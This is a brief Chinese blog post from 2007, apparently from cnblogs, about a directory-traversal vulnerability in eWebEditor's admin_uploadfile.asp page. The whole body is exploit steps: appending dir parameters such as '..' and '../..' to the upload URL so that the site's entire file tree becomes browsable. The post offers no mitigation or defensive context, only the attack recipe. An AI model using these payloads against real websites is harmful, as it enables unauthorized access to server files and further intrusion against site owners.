ewebeditor遍历路径漏洞 - %5C

ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=http://www.cnblogs.com/../.. 看到整个网站文件了

posted on 2007-11-04 21:50 %5C 阅读(1122) 评论(1) 编辑收藏举报

刷新页面返回顶部